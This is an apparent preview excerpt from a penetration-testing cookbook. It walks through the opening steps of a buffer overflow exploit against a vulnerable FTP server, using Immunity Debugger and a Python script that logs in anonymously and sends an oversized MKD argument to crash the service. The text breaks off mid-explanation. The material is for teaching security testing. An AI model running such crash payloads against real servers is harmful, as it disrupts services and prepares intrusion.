How to do it...

Follow the steps to create an exploit for buffer overflow attack:

  1. In a Windows machine, start the Immunity Debugger and open the vulnerable application in it.
  2. As it is an FTP server, we can try to crash the application by connecting it from another machine.
  3. We can write a script to connect to the FTP server with Python. To do this, create an ftp_exploit.py and open it in your editor:
#!/usr/bin/python  
import socket 
import sys   
evil = "A"*1000   
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
connect=s.connect(('192.168.1.39',21))   
s.recv(1024) 
s.send('USER anonymous\r\n') 
s.recv(1024) 
s.send('PASS anonymous\r\n') 
s.recv(1024) 
s.send('MKD ' + evil + '\r\n') 
s.recv(1024) 
s.send('QUIT\r\n') 
s.close  

This creates a large chunk ...

Get Python Penetration Testing Cookbook now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.